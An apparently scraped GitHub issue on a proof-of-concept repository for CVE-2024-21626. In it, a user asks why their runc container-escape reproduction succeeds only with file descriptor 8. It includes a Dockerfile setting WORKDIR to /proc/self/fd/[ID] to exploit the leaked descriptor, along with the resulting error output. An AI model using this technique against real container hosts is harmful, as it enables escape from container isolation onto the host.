The cve-2024-21626's discuss from nitrocao

cve-2024-21626's Issues

Question about File Descriptors

I was trying to reproduce this all day yesterday but, it didnt work because I was using the wrong file descriptors.
Following are the fd in my Demo VM:

ls -lah /proc/self/fd

total 0
dr-x------ 2 rago rago  4 Feb  2 08:22 .
dr-xr-xr-x 9 rago rago  0 Feb  2 08:22 ..
lrwx------ 1 rago rago 64 Feb  2 08:22 0 -> /dev/pts/0
lrwx------ 1 rago rago 64 Feb  2 08:22 1 -> /dev/pts/0
lrwx------ 1 rago rago 64 Feb  2 08:22 2 -> /dev/pts/0
lr-x------ 1 rago rago 64 Feb  2 08:22 3 -> /proc/8465/fd

And this was my demo Dockerfile:

FROM alpine:latest

# exploit the vulnerability
WORKDIR /proc/self/fd/[ID]

# runtime shell inside container
CMD ["/bin/sh"]

I tried with every fd ID but it did not work:

docker: Error response from daemon: failed to create task for container: failed to create shim task: OCI runtime create failed: runc create failed: unable to start container process: error during container init: mkdir /proc/self/fd/3: not a directory: unknown: Are you trying to mount a directory onto a file (or vice-versa)? Check if the specified host path exists and is the expected type.

If I try with the one you used, /proc/self/fd/8, it works....but just with that ID alone!
Any idea why this is happening?

Recommend Projects